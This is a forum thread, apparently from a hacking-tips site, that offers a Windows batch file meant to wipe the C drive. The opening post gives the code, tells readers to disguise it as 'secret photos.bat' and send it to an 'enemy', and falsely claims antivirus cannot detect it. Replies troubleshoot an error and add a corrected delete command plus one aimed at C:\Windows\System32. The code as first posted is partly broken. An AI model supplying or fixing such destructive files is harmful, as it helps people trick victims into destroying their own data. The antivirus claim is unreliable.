This Trick Will Delete C Drive Completely | Send It to Your Enemy to Format Their Hard Disk

What will this Trick do ?

You will create this command using batch file programming. This command will delete the C Drive completely. The good thing about this command is that it is not detected by any antivirus.

How to Make the Command?

  1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

or try /y

  1. Save this file as secret photos.bat (Name can be anything but .bat is must)
  2. Now, running this file will delete all the content of C Drive .

Warning: Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.


Hi @TheJoker

The code is giving the error. "‘y’ is not recognized as an internal or external command,
operable program or batch file." Could you please correct and give the right solution.

I tried in “Microsoft Sandbox”. Waiting for your reply.

Nice info.

Found this URL for our beloved community guys.

1 Like

Try this…, The switch /Y may be preset in the COPYCMD environment variable.

@Echo off
Del C:\  *.*  /y

If not, then this should corrupt the windows files, same effect!

Del C:\Windows\System32


Don’t you need to run it as admin for it to actually delete anything under c:\windows etc?


Thanks sir great